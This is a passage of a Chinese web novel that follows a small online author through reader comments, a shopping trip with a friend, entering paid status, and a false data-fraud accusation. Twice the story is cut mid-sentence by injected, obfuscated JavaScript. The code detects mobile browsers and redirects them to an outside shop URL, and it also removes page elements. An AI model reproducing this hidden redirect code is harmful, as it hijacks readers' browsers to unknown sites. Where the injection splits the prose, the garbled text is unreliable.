说完，她自己先笑出了声，顺手点开文档，干劲十足地敲下了新一章的标题。 毕竟，被系统大人偷偷偏爱的作者，怎么能不努力呢？ * 涨收藏的事闹腾了两天，檀檀逐渐适应了这种感觉。 大概，这就是成为大作者的必经之路吧？自己这才两百多个收藏就一惊一乍的，人家顾己卿怎么办？ 按她的阅读速度，几乎每看完《镜司志异》的一章，再刷新时，都能发现那本书的收藏又往上跳了四五个。 自己才1个，有什么了不起的。 看来，自己这也是要火的前奏。 这几天，她快把《镜司志异》的V前章追平了。不得不承认，有些书能稳居TOP榜，确实有它的道理。那节奏、那缜密的剧情、那游刃有余的文笔……每一样都值得她好好琢磨。 看着看着，檀檀忽然想起那晚一颗芹菜对自己说过的话。 成为创作者，尤其是网络文学这种公开、即时、与市场数据死死绑定的创作者，本质上就是一场贯穿职业生涯的、烦恼不断升级的闯关游戏。每个阶段都有标志性的、几乎无法逃脱的核心焦虑。 最开始焦虑—— “我的书有人看吗？” “收藏怎么还不涨？” “为什么点击这么少？” 再到 “为什么同期数据比我好？” “榜单竞争太激烈了！” “开始有恶评和举报了。” 而等到突破某个阶段，有了些许成绩之后，或许又会陷入新的烦恼： “我是不是在重复自己？” “读者说套路化，可创新怎么这么难！” “写了这么多，意义到底是什么？” “市场风向变了，我还能跟上吗？” “成绩有了，但疲惫和空虚感也跟着来了……” 檀檀目前还在开始阶段。愁收藏的问题结束了，她果然立刻又生出了新的期待。 或者说，新的焦虑。 这几天她发现，自己书的评论区，静得可怕。 尤其和作者群的各位对比起来。 水盛酒的书有读者基础，每天发新章，底下都能稳定冒出十几条追读留言。 兔仔的书入V后日更六千，很快进展到收尾阶段，最近还喜提了第一条读者长评。 白碧溪的书除了日常夸夸，也喜提了第一条差评。她在群里哀嚎：[明明二十多章前她还天天给我浇营养液，我天天盼着她来，怎么说翻脸就翻脸啊，太难过了！] 兔仔淡定回复：[要知道，做我们这行的，最忌讳爱上客人。] 惟有檀檀，好评差评都没有，涨的收藏也仿佛是她单机写文的奖励。 她忍不住感叹：[看我书的读者好像都不爱说话。就算有说话的，也都是来要红包的气氛组。] 她是真的好想要能跟她认真聊剧情的读者啊！ 兔仔立刻戳穿：[@檀檀，我看你给每个气氛组都发了红包。] 檀檀理直气壮：[创业初期嘛，舍不得孩子套不着狼！就算是来要红包的，那也是一条活生生的留言。万一她们拿了红包，愿意在外面帮我说句好话呢？] 水盛酒回了三个字：[大傻子。] 然而过了两天，情况竟真的有了变化。 她的书评区里，开始陆陆续续冒出一些陌生的留言。话虽不长，却是实实在在地讨论剧情和人物。檀檀兴奋地截图扔进群里： [有读者看我书了诶！野生读者！ip……怎么在泰国？] 这种兴奋甚至只持续到第二天。 [这还有个俄罗斯的IP！] 第三天：35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113387|195315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> [印度尼西亚IP都来了！] [奇怪诶……] [怎么都只停留在第一章？] 写文也要双休：[@檀檀，清一色海外IP，细思极恐，不会都是同一个人吧？] 水盛酒：[会不会有人故意整你？] 兔仔：[完全有可能，挂个梯子又不难。] 群里针对这现象，你一言我一语，和檀檀展开了“思维风暴”。 一直沉默的栖川，这时难得在群里插了一句： [说不定是管理员。] [对哦！]檀檀眼睛一亮，想象力立刻起飞。 [反正现在普江也不景气，说不定管三给各组下了KPI，要搞个“心碎小作者扶持计划”。管理员们得假装读者去评论，专门鼓励有潜力的好苗子。毕竟咱们小作者，最需要的就是这点甜头嘛！] 她越想越觉得合理，尤其当把自己代入成被编辑选中的那棵幼苗时。 那个人，一定又站在帝都总部的落地窗前，吩咐众下，要好好保护她这颗脆弱而特别的灵魂。 透过想象，檀檀仿佛看见了屏幕另一端那位“背负KPI的管理员”，正对着她的文档抓耳挠腮地编着评论。 日子就这么从周一的晨光滑到周日的夜色。 这一周，檀檀轮空了榜单，但评论区却越来越热闹。 还是那些ip在海外的读者留的： “女主好飒！权谋文就该这么写，坐等更新。” “女主不是菟丝花，是蛰伏的狼。文笔很舒服，不啰嗦。” “喜欢女主的气场。作者大大加油！会追下去的！” 檀檀将这些不同IP之间的夸奖通通发进了作者群求分析。 白碧溪：[哇！这些评论好认真！不像是随便水的！] 写文也要双休：[而且夸的点都不一样，不像是同一个人复制粘贴的。] 兔仔：[天知道我多希望被夸奖文笔，昨天才喜提一个文笔不行，把我气得心绞痛！] 白碧溪：[老师你是不是有了自来水？还是把你书分享到海外的自来水？] 水盛酒：[……有点离谱，海外读者都这么懂权谋文的吗？] 栖川：（大拇指表情包） …… 日子过得像被按下了快进键，栖川在群里的话似乎变多了。他开始参与讨论，将私聊发给檀檀的写作技巧链接都转发到群里，时不时还会分享一些关于人物塑造、节奏把控的干货文章。 檀檀每条都会认真再看一遍。 又是一个偿还世界三千字的日子。檀檀正卡在男女主解开误会的关键节点，指尖在键盘上敲打，脑海里全是两人对视时复杂的眼神、语气里压着的哽咽，以及那句憋了十几章才终于要脱口而出的“我从没怪过你”。 被冷落了一整晚的手机，突然发出一声短促的震动。 不是□□消息那种密集的“滴滴”声，而是微信特有的、带着点执拗的提示音。 屏幕亮起的瞬间，最上方跳动的头像，让她一怔。 是蝶蝶。 那个她置顶了七年、头像永远是只歪头傻笑金渐层的闺蜜。 语音框，安安静静躺在对话框里。点开后，带着点嗔怪的语气： “谭沁乐，我不找你，你就真不会找我啊？” “嘉都的房子退了？” “还在为了上次那件事怄气？” 檀檀后知后觉地拍了下脑门。 昼夜颠倒，闭门不出。她好像已经很久，没有做回“谭沁乐”了。 13.谈恋爱 谭沁乐回想上次见姚雨蝶，已经是四个月前了。 四个月前，残春将尽，夏意未稳，天气总是忽晴忽雨。 她在嘉都租住的小公寓快要到期，正犹豫要不要续租，恰好姚雨蝶从贡江过来找她，两人准备挤在那间小屋里，一起住几天。 去接姚雨蝶的那天，她们说好要单独去逛动物园，逛完后再找家温泉洗浴中心，好好泡个澡、做个SPA。 如今大城市的洗浴中心都装修得格外讲究，男女分区明确，不仅能舒舒服服泡澡按摩，还24小时供应各式美食，影院、休息区也配置齐全。 谭沁乐早就想去体验了，只是一个人不太好意思。点满一桌吃的，却要单独迎接大姨的关怀，还是有些不得劲。 有闺蜜在就不一样了，可以有说不完的话，不用再分神在意旁人的目光。 故而，她很期待这次泡澡。 想到泡澡时肯定要洗头，她还特意忍了一晚没洗。 就这样顶着一头乱发，穿着短衫短裤，撑把遮阳伞，谭沁乐去高铁站接姚雨蝶。 朝阳下，她那漂亮醒目的闺蜜拖着行李箱，冲她挥手，简直人都在太阳下发光。 只是没想到，一分钟后，从旁边走出一个高个子男生。 她一眼认出，那是姚雨蝶的新对象，齐凌。 他怎么也跟来了？！ 自从姚雨蝶和上一任分手后，新选的这位确实长相出众，乍一看，和最近某部热播剧里的男明星有几分神似，都是轮廓深邃的浓颜系。 当然，谭沁乐对对方外表的客观评价，并不影响她内心深处那句：“还是配不上我家蝶蝶。” “乐乐宝~” 姚雨蝶嬉皮笑脸，挽住已经板起脸的谭沁乐，小声解释：齐凌刚好出差回来，难得有假，就干脆一起来嘉都玩几天。 谭沁乐白了她一眼。明明就是家里管得太紧，想换地方跟对象约会，才先斩后奏，拿自己当挡箭牌。 狼心狗肺的一对！ 二人行变成三人行。 更气人的是，逛动物园时突然下起瓢泼大雨。蝶蝶转身过来，将唯一把雨伞让给了她。 男生便一把将女生搂进怀里，动作自然得很。小心翼翼呵护着，黏腻大手替她遮风避雨，只留谭沁乐一个人落在后面，冰凉的雨水直往鞋子里灌。 哈！ 明明气得发昏，转念却想到，这满身湿淋淋的样子，去泡澡洗头倒是正合适。 她还是窝窝囊囊地带这对小情侣一起去了。 好在天菩萨保佑，SPA馆的浴池果然严格男女分区，总算让这对腻歪的小情侣安分了片刻。 可按摩时，齐凌加钱升了个VIP三人间，谭沁乐刚躺在舒服的贵妃榻上啃完一块西瓜，一扭头，就撞见小情侣在亲嘴！ 当天晚上，蝶蝶自然没陪她挤那个狭小的出租公寓。 等谭沁乐的小说突然在普江文学城过签，她决定搬回贡江时，齐凌帮忙租了辆皮卡，和蝶蝶一起，把她的家当全都运回了老家。 谭沁乐自己坐高铁回去，没操什么心，这趟“专属搬家服务”，也算是他们给她的一点补偿了。 她其实没真的生蝶蝶的气，而是把罪过都怪在了齐凌这男狐狸精头上。谁让他长得俊，把闺蜜的魂儿都勾走了。她相信，等蝶蝶那股新鲜劲儿过去，下头之后，自然会回到自己身边。 她们总归还是天下第一好。 不过，对比自己形单影只，心里难免酸涩，尤其是独自在雨里踩水的感觉，终身难忘。回来后刚好开新文，檀檀便一头扎进了创作里，别说主动联系谁，就连发朋友圈的心思都没有了。 * 收到蝶蝶的微信留言后，她慢悠悠回复过去。 [沉溺爱河的人儿终于想起我来了？] 见她这么说，姚雨蝶便知道她没真生气，马上发来一条撒娇的消息。 [我常去的那家买手店要关门了，现在全场五折清仓……陪我去逛逛嘛。] 姚雨蝶天生一副好模样，身材高挑匀称，像行走的衣架子，穿什么都好看。她生平一大爱好就是穿衣打扮，因为还和父母住在一起，没什么大额支出，工资几乎全都花在了买衣服上。 谭沁乐知道，她几乎从不网购，只认一家常去的买手店。店主眼光独到，很会搭配，姚雨蝶早已买成了店里最高级别的VIP客户。那家店定价不低，但质量确实好，款式不易撞衫，还附带搭配建议。平时谭沁乐是不会去买的，可听说打五折，她也有点心动。 [先说好，再带对象，我骂死你。] [不带不带，再也不敢了。] 快入秋了，天高气爽。卡文卡得毫无进展，檀檀也想出门走走。 [那什么时候去？] [下午就去！店里还有些最后的好货，都留在她的小黑屋里，是特意给我留的。] 这说法，听着有点可怕，但檀檀还是立刻丢开键盘，转身到镜子前化起妆来。 Lay Denim 藏在贡江这座小城市唯一商圈的小巷里，门面虽不起眼，店内空间却十分宽敞。 店主姓蒋，一身复古牛仔穿搭，十分时髦。 试衣间的落地镜前，姚雨蝶正对着镜子拨弄发尾，暖黄的灯光裹着她，像是为她镀了层柔光。 谭沁乐站在一旁，下意识拢了拢身上宽松的卫衣，看看镜子里那位明艳如画报中走出的人，再瞧瞧自己，心里悄悄泛开一丝自惭形秽。 “别光站着呀，过来试试这个！” 蝶蝶眼尖瞥见她的小动作，笑着将手里的杏色针织开衫塞进她怀里，又拎来一条高腰直筒牛仔裤，不由分说把她推到试衣镜前。 换好衣服走出来时，檀檀望着镜中人，差点没认出来那是自己。 紧身牛仔裤衬出笔直流畅的腿型，杏色针织开衫修身而不紧绷，让她的肩颈线条显得格外清晰利落。 蝶蝶顺手替她理了理短发，用发夹别住碎发，露出饱满的额头和清亮的眉眼。 镜中的女孩褪去了往日码字时的慵懒随意，多了几分清爽灵动，像是被拂去了蒙尘的玉，忽然透出了骨子里的秀气。 “嗯……我的大作家，果然更适合文艺风呢。” 听见蝶蝶在外人面前这样介绍自己，谭沁乐有些不好意思。店主蒋小姐却捕捉到关键词，很快又拿来一套西服裙。 谭沁乐伸手摸了摸自己的脸颊，有些不自在地扯了扯衣角。 眼睛里一闪而过的亮光，说明她喜欢这套。 不得不说，这家店能掏空蝶蝶每个月的工资是有道理的。冲着清仓闭店的噱头，谭沁乐一口气试了七八套，最后挑出五套最心仪的。刷卡时，扣了她7000块钱。 就这，都还是打五折之后的结果。 是有些冲动了。 还有些肉疼。 可镜子里那个人，也是真的好看啊。 一整个下午，谭沁乐高兴之余，还想吐血。 比起买封面、找推文的花销，还是三次元花钱更狠啊！ 傍晚，蝶蝶拽着谭沁乐去了贡江市里那家新开的温泉中心，全程豪气地包了所有开销。 是个有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121144|195315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 良心的，谭沁乐彻底原谅了她。 换好浴衣走进汤池区，暖融融的热气扑面而来，瞬间裹住了全身。两人选了个僻静的浴池，池水雾气氤氲，水面上浮着几片玫瑰花瓣，淡淡的花香弥漫开来，连骨头缝里的疲惫都似乎散了大半。 谭沁乐靠在池边的青石上，闭眼感受温热的泉水漫过肩头，耳边只有远处隐约传来的轻柔音乐。蝶蝶捧着一杯冰镇酸梅汤，一边小口啜饮，一边吐槽着近期工作中遇到的奇葩同事。 两人泡够了澡，便裹着浴衣窝在休息区的沙发里，随手点开一部文艺片打发时间。 文艺片的伤痛属性拉满，没看半集，谭沁乐就被男主气得差点把手里的橘子捏爆。前脚刚和女主山盟海誓，后脚就和白月光暧昧不清，遇事只会逃避甩锅，简直是烂黄瓜本瓜。 蝶蝶更是直接，抓起抱枕狠狠一捶：“这男的脑子进水了吧？还要不要脸了！” 两人你一句我一句，从男主的渣言渣语骂到他的穿搭品味，连带着编剧也没放过。骂得口干舌燥之后，蝶蝶才停下手，抄起遥控器噼里啪啦按了几下，熟门熟路地点开了《镜司志异》的播放页。 “看看这个，洗洗眼睛！” 谭沁乐瞥见屏幕上的剧名，愣了一下：“你也看这个剧？” “何止是剧！”蝶蝶眼睛一亮，把普江文学城的页面往她面前一递，“我追完剧不过瘾，又去补了原著，真的好上头！” 看着那个熟悉得不能再熟的名字——顾己卿，谭沁乐嘴角抽了抽，又变回“檀檀”了。 怎么又是他？ 这货也太出圈了吧。 最近简直像撞了邪，走到哪儿都绕不开这个名字。 不就是一本书的作者吗，连编剧都算不上，怎么就火得一塌糊涂。 姚雨蝶浑然不觉她的腹诽，还兴冲冲地点开外卖软件，准备下单两杯《镜司志异》的联名奶茶，一边选糖度一边跟檀檀安利：“镜大人真的太帅了！又苏又飒，打戏行云流水，绝了！” 说着，她又指了指屏幕上另一个温润清正的角色，语气忽然变得柔软：“不过呢，我最喜欢的还是男配小林，温柔又坚韧，简直就是我心目中的白月光！” 檀檀听着她这熟悉的安利节奏，几乎能猜到下一句要接什么，索性替她说了出来：“而且原作者顾己卿大大比小林还帅，帅到可以直接出演！” 姚雨蝶：“……你怎么知道我想说这个？” 檀檀扶额。 两人出了温泉中心，慢悠悠往停车场走。晚风卷着街边面包店的甜香飘过来，话题不知不觉滑到了蝶蝶的那位“男狐狸精”身上。听她讲了几句恋爱日常，蝶蝶忽然转过脸，看向檀檀：“那你呢？什么时候谈一个？要不要我给你介绍？” 檀檀被问得一愣。其实她何尝不向往，写多了别人的故事，自己也常对着书里的情深意动发呆。 只是她的要求比较高。 不能比她穷，不能比她矮，样貌要好，身板要正；最好没有过往感情，清清白白地走向彼此，但要温柔体贴，懂得照顾人。凡事有商有量，不能不尊重女性，但骨子里要有大男子气概，能在紧要关头握住她的手，说一句“有我在”。 这些条件单拎出来似乎都不算过分，可堆在一起，就连她自己都觉得像是在许一个不可能实现的愿。 反正，活该她找不到。 “你以为是小说剧情呢，单就男洁这一条，就能劝退如今韶华正茂的各个男青年。” 檀檀摆摆手：“哎呀，算了算了，还是不要把二次和三次混为一谈了，下头。” 14.新书千字榜 * 众所周知，普江文学城有个著名的别称——“口口文学城”。 由于书城在早些年受过一些整改，因此格外敏感，许多词汇是不可以被写在小说中发出来的。 而这些词汇，会被极其严格的系统自动替换成“口”字，读者常常需要连蒙带猜才能理解完整内容，而若是“口”得太过密集，作品还会被额外赏赐一把“红锁”，关进小黑屋。 许多作者都经历过连夜解锁的日子，也因此在口口相传中，催生了独特的写作技巧。 檀檀那本《她权倾天下之后》刚进展到感情戏的高潮阶段，她才学会用“意识流”笔法描摹新章，便在发布三十分钟后，喜提一把红锁。 那一瞬间的感受，就像一个无能的丈夫眼睁睁看着自己的妻子被囚禁。 等拯救出来的时候，只剩裤衩了。 两天后，晨光刚漫过书桌一角，檀檀终于带着她那篇调整了方向、反复打磨出的《她权倾天下之后》新章，找到一位有一定粉丝基础的推文博主，做一次片段推的试验。 推文发出前，她盘腿坐在椅子上，仰头对着天花板深呼吸，给自己做足心理建设： 反正之前的文没少被人举报，多这一次也无妨。在被举报下架之前，能薅几个收藏是几个，不贪，真不贪！ 这次的标题，她仔细研究了近来爆火推文标题的套路，摒弃了原先偏文艺的意识流，转而采用更直白、更具冲击力的白描手法。 《救命啊，男主被玩到瞳孔失焦……》 不知是命运的偶然眷顾，还是这标题确实戳中了大地瓜APP隐秘的痒处，效果竟出乎意料地好。 傍晚时分，推文博主反馈数据时，那条推文，真的小爆了！ 接下来的时间里，檀檀几乎着了魔，每隔几分钟就忍不住刷新一次。几十、一百、两百、五百……点赞数像滚雪球一样越滚越大，评论区也逐渐热闹起来，挤满了“蹲”“完结求踢”的留言。 至此，檀檀自认为摸清了推文之道的精髓： ——擦边。 擦边，犹如一条捷径。 一擦起来，就容易上瘾。 呵，小作者，你体会过一晚上涨60个收藏的感觉吗？ 还都是有效数据。 通过这条帖子点进《她权倾天下之后》开始阅读的人数，肉眼可见地直线攀升。 评论区也热闹了起来。 檀檀趁热打铁，把最近几章的标题也统统改为直白吸睛的风格。 在第二天，帖子被举报消失之前，《她权倾天下之后》的收藏，破300了！ 檀檀是眼睁睁看着它从299跳进300的，立马在作者群里连着发了一屏的“啊啊啊”，那兴奋劲儿，仿佛终于把自家孩子供上了大学。 【普江作者交流6群（200）】 水盛酒：[@檀檀，快看看你的后台，申请入V的按钮亮了没？] 当然没亮。 众所周知，真正能入V，需要扣除无效收藏之后才算数。很少有人刚破300收藏就能立刻申请的。 运气差的话，超过V线七八十个，甚至更多，才成功入V的也大有人在。 而真正掌握有效收藏数据的，只有编辑。 檀檀只好抱着文章链接，小心翼翼点开了编辑楚梨的对话框。 别看她平时在脑内和“系统大人”演得起劲，真到了要跟编辑说话的每一次，都得提前做足心理建设。 檀檀发了个小猫脸红撒娇的表情包壮胆：[编编~请问我还差多少能V啊~] 回复来得很快： [小宝~还差得远呢~] …… 啪唧。檀檀从半空摔回了地上。 为了维护榜单公平，编辑不会直接告知具体还差多少有效收藏，作者们只能从回复的字眼里猜谜。 兔仔和水盛酒都淌过这关。 “还差一点”“还差不少”“还差得远”，各自对应着不同的距离。 没办法。 檀檀收拾心情，又找了一个敢接“高危”推文的账号，把上次被举报的内容稍作改动，再次推了出去。 《谁懂啊，男二被欺负得瞳孔失焦……》 果然，帖子又爆了。 由于这种游走在边界的内容并非所有推文号都愿意接，檀檀咬牙付了双倍的价钱。 呵，小作者，你体会过一晚上涨80个收藏的感觉吗？ 这条“捷径”带来的攀升速度过于惊人。在檀檀笔下的男三也“瞳孔失焦”之前，她的收藏数涨到了388个。 申请入V的后台按钮，终于亮了。 也就是说，她有足足88个无效收藏…… “好数字！” 檀檀立刻找了个AI对话体卜了一挂，对方说“88”这个数字非常旺，会旺她接下来的一路。 * 点进“申请入V”后，作者们便正式踏入一个新的阶段。 通常来说，古言频道是从六万字开始申请入V的。如果作品字数未满六万，但收藏已经达标，这时申请入V被称为“顺V”。 反之，如果字数已经超过六万，收藏才姗姗来迟，那就叫做“倒V”。 假如一本书直到完结之后，收藏才勉强够到“100”的V线门槛，则会被称为“完结V”。 檀檀的情况自然是“倒V”，而且已经倒得有些远，字数将近超过十万了。 作者入V后的第四天，作品会自动登上一个名为“新书千字榜”的榜单。这个榜单位于读者书架最上方，被作者们戏称为“夹子”。 夹子，是一个超强榜单，所有作品只能在上面停留24小时，能不能起飞、带不带得动预收，全看这关键的24小时，因此格外令人紧张。 正当檀檀纠结入V时间时，栖川私聊发来一份新的经验总结帖。 水盛酒也给檀檀发来了消息： [选入V时间要谨慎，比如周六、周日夹子通常很挤。很多人想避开周末，可能选周五上夹，所以有时周五也特别挤。] [入V章节也要讲究，最好停在留有钩子的地方，不然读者没兴趣付费，会影响夹子排名。] [千万别断更！上夹前那几天，更新记录得是连续的小红花！断更很影响观感。] …… 檀檀一一记下，心里更忙乱了。又是查生辰八字，又是翻黄历，最后还特意跑去占卜网站卜了一卦，硬是给自己择定一个最近的“黄道吉日”。 努力和玄学都要抓住！ 然后，她深吸一口气，将鼠标落在在刚刚满六万字的那个章节—— [申请状态：已提交申请——] 檀檀慢慢地、慢慢地将那口憋了很久的气，长长地吐了出来。 心中百味杂陈。 像是终于把一件悬了太久的事尘埃落定，却又立刻被另一种清晰的期待与忐忑填满。 作者入V之后，在“夹子”上的排名便不再看收藏数据，而是根据入V后几天的“V章千字收益”来排序。 檀檀查了攻略，V章千字收益等于订阅总收入除以V章总字数。 因此，“倒V”的作品在这方面会吃点亏。不出意外的话，排名通常会在顺V的书之后，又排在完结V的书之前。 而对很多书来说，夹子当天的收益很可能就是整本书的最高峰。所以大家通常会在上夹子的前三天，咬牙攒稿，把原本该分开发的三章合并成一章万字大更，一口气发出去。 檀檀也不例外。一边在群里接受各位群友的恭喜，一边埋头苦攒那一万字。 还有一些入V的准备工作不能忘。 定好入V时间后，得提前在文案或公告里告知读者。 不少作者会趁着入V搞抽奖活动，既能感谢读者， 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心随着数字轻轻蹦跳的感觉，足够她回味很久很久。 ——尝过这种滋味，那种盼望涨一个两个收藏，望眼欲穿的煎熬，此刻想来竟像是上辈子的事。 一颗芹菜也在她下夹子之后，发来数据贺喜。 [檀檀，你没有坠机！走过的每一步路都做数！] 是的，每一步路都做数！ …… 可入V之后的日子，并没有檀檀想象中那么美好。 甚至可以说是从一场短暂的云端幻梦，骤然跌回了粗粝的地面。 入V前，所有作者的眼睛都紧紧盯着收藏数。不断攀升的数字，是唯一的灯塔，是黑暗中支撑作者写下去的动力。她们会为每一个新增的收藏雀跃，会反复点开后台，会在数据中心比较谁的涨幅更快。 一旦跨过那道V线的门槛，游戏的规则就彻底变了。 入V后，收藏数被迅速移出衡量价值的核心区域，真正衡量价值的就只剩下订阅数据。 而订阅带来的感受，远不如收藏增长那样直白痛快。 檀檀的总收藏已经突破了八百，这在几天前还是她不敢奢望的数字。可夹子当天带来的收益，只有十几块钱。 她算过“收订比”，非常难看，冰冷的数字像一盆凉水，兜头浇下，浇熄了她连日的兴奋。 她忽然就懂了，为什么作者群里，时不时就会有熟悉的名字暗淡下去，为什么论坛里总有那种“终于V了，但我决定坑了”的帖子。那些作者，并非不热爱自己的故事，他们也许一样熬过了无数个断更焦虑的夜晚，挺过了单机时期数据低迷的绝望，像闯关一样，千辛万苦才触碰到入V的按钮。 可当真正迈过来才发现，门后的世界并非遍地黄金，而可能是另一堵更高的墙。 入V之前还有个盼头，入V之后，这个念想落地了，碎成了每天块儿八毛的、不足以支撑梦想的现实收益。 当生活的压力真切地摆在眼前时，重新找一份工作谋口粮，就成了最无奈的选择。 好在，檀檀掂量了一下自己的积蓄，觉得还能再撑一阵子。 至少要撑到这本完结！ “不管收益怎么样，总得对得起还在追文的读者！” 抱着这样的念头，她步入了写作者的下一个经典阶段：开始梦一个“完结飞”。 期待着等故事完整写完，能迎来不一样的数据转机。 可惜，她刚刚张开的翅膀，却在某个V后的清晨被猝然斩断。改变命运，有时只需要短短五分钟。 那五分钟里，有一个站短来到她的后台，群聊里伴随着一个大地瓜APP的链接，以及水盛酒惊惶失措的通知—— [@檀檀，你被挂了！] 15.黑名单 檀檀点开群里那条链接前，屏住了呼吸。 那一刻的感受，她大概永远不会忘记。 页面跳转的瞬间，眩晕感便袭来。心跳快得像要从喉咙里挣脱出来，咚咚击着耳膜。明明好端端地坐在椅子上，手脚却一阵阵发软。 链接加载完成的刹那，尘埃落定彷如一记闷锤。 她先是感觉到冷。 一种从指尖开始蔓延，迅速冰透四肢百骸的冷。 而后，才能集中精力看清帖子上每一行字。 标题是： 《今日古言频道活捉刷子一枚……》 配图是数据中心的截图，以及檀檀的笔名。 檀檀只觉血液冲上头顶，待点开作者后台的站内短信，是普江管理员发来的通知，假不了。 [您的作品《她权倾天下之后》经核查，被判定构成数据造假行为。已列入黑名单……] 灼烧感取代了冷意，从脸颊开始，火燎般蔓延到耳根。是血液在羞耻和巨大冤屈的刺激下疯狂奔涌。 世界在收缩，又同时在爆炸。 大地瓜APP的帖子下，回复数正以肉眼可见的速度刷新。每过一会儿点开，都能看到新增的评论。那些或陌生或略有印象的ID和头像，都在屏幕后指指点点。 与此同时，是突然死寂的作者群和私信爆炸的后台。 往日的同期，或真心或假意的关怀都伴着链接来了。 兔仔：[老大啊啊啊啊，你出事了？] 水盛酒：[檀檀，什么情况] 白碧溪：[老师！！好像有很多对你不利的言论……] 檀檀深呼吸过后，决定先集中精力向管理员申诉，完成这些操作之后，她才鼓起勇气去认真阅读避雷贴下的评论。 【夹子上窜那么快就觉得不对劲。】 【路过吃瓜。刷到过这姐的推文贴。】 【所以那些收藏都是机器人点的？真行。】 【这本书啊，她找我买过推文。】 【就这文笔还权谋？小学生过家家，数据不造假才怪。】 【刚去看了文，第一章就劝退，果然数据是刷的。】 【笑死，书写得烂，活该糊。只能靠刷了是吧？】 【避雷了，以后看到这个笔名绕道走。】 终于，檀檀再看不下去了，她手指悬在键盘上，想一条条反驳回去，可敲下的一长段话留在回复框里，不敢点下发送。 解释什么？用什么身份解释？ 一个刚刚被平台判定“数据造假”的作者吗？ 她脑子乱糟糟的：是谁举报了她？为什么自己会突然出现在数据中心的举报栏里？ 她先切回作者群，坚定回复了一句：[我没有刷数据！] 可是，群里，往日和她热聊的人，几乎都默契地选择了沉默。 在将近两个小时死一般的寂静里，檀檀很期望兔仔、水盛酒，或是咕噜咕噜可以跳出来，帮她说句话。 没有。 毕竟判定来自数据中心的管理员，而普江在数据造假这一项上，从没有错判过。 最终，还是白碧溪打破了群里的沉默。 [@檀檀，会不会……是被人整了？] 这句话像在冰面上凿开了一个小口，群里才有人陆陆续续开始接话。只是大家的发言都维持着客观中立的姿态，甚至檀檀能隐隐感觉到，大家在避嫌。 下午，檀檀把所有的精力都扑在了澄清上。 她登陆许久不上的微博，先发布了一条长长的公告。随后，又将公告又转发了大地瓜APP中。 可惜并没有流量，两个小时过去，帖子的浏览量只有可怜的30个…… 作家助手的后台，她一分钟能刷新二十遍以上。直到这时她才想起，申诉结果至少要明天才能出来。可那个孤零零的“申诉”按钮又能代表什么呢？平台甚至连让她提交具体证据的渠道都没有给。 檀檀求救的稻草伸向编辑楚梨的头像，带委屈和不忿的解释刚发出，角标那个“周六”突然撞入眼中。 周六。 对啊，周六，编辑不上班。 普江文学城，是一个遵守劳动法的公司。 “得飘，得飘，得咿的飘。我安静的喝饮料，轻松的笑……” 该怎么办？ “我用第一人称，在飘移青春，输跟赢的分寸，计算得很精准……” 檀檀突然想起了一颗芹菜。 “我踏上风火轮，在飘移青春，故事中的我们，在演自己的人生……” 对啊，她之前有过处理避雷贴的经验。 “得飘，得飘，得咿的飘。得飘，得飘，得咿的飘。” 太阳穴在突突地跳。 …… 檀檀再也忍不了了—— “爷爷！能不能把音乐关掉？” 卧室外藤木摇椅“咯吱”响了一下，手机里的音乐声低了一些。 檀檀猛地拉开卧室门冲了出去，跺脚尖啸：“爷爷！把音乐关掉！” 檀檀的爷爷慌忙地伸出有些干瘦的手指在屏幕上左右划拉了好几下，歌声戛然而止。 他却按到了切歌键，一阵悠扬的钢琴前奏之后，檀檀知道歌单，《漂移》的下一首是《发如雪》。 檀檀气得想哭。 “算了，你接着放吧。” 看着爷爷那副搞不清状况、甚至有点被吓到的模样，她胸口那股灼烧的怒气，忽然像被戳破的气球，咻地泄了大半。 她怎么能对爷爷发火呢？爷爷是个有些潮的老头，虽然爱听周杰伦，可“刷子”“避雷帖”“数据造假”“黑名单”……这些构成她此刻地狱的词汇，爷爷一个也听不懂。 周杰伦的声音继续流淌在空气里。楼下小区空地上，几个小孩追着彼此跑来跑去，笑声尖脆。隔壁阳台，邻居家晾晒的床单在微风里缓缓飘动。 一条帖子，一个公告，她的灾难，永远传不到这个世界。 什么是真实的？什么是虚假的？ 一晃神的功夫，面目可憎的浏览器里，评论数又多了几十条。 檀檀脸颊依旧发烫，目光在好友列表上游移，寻找着可以商议的人。鼠标指针悬在“兔仔”和“水盛酒”的头像之间，迟迟没有点下。 两人是她平时聊得很密切的人，随时都穿插在群聊中，可方才的沉默还是像小刺，扎伤了檀檀。 她能理解的，能理解她们的，也是认真日更，小心翼翼经营自己的笔名，一步步走到今天，不容易。 但也确实心寒了。 最终，檀檀将可怕揣测分别发给了“一颗芹菜”和“白碧溪”。 [我怀疑，有人给我刷数据，并举报了我。] 很快，几乎是前后脚，两人的回复弹了出来。 一颗芹菜：[檀檀！等我看看帖子，马上来。] 白碧溪：[老师需要我做什么，尽管说。] 檀檀这才觉得有人托住了不停下坠的她。 为了提高沟通效率，檀檀重新拉了一个小群，将一颗芹菜和白碧溪都拉了进来。简单说明情况后，一颗芹菜提出了建议：当务之急，是阻止避雷帖继续发酵。 [你那则声明态度很端正，但单独发出去没人看见。现在最直接的办法，就是把它贴到那个避雷帖的评论区里，让所有点进来的人第一眼就能看到你的回应。] 檀檀照做了，效果几乎是立竿见影的—— 【哟，正主来了？演得挺像那么回事。】 【现在刷子都这么有职业道德了？还写小作文？】 【喊冤流程来了，经典将责任推给红眼病。】 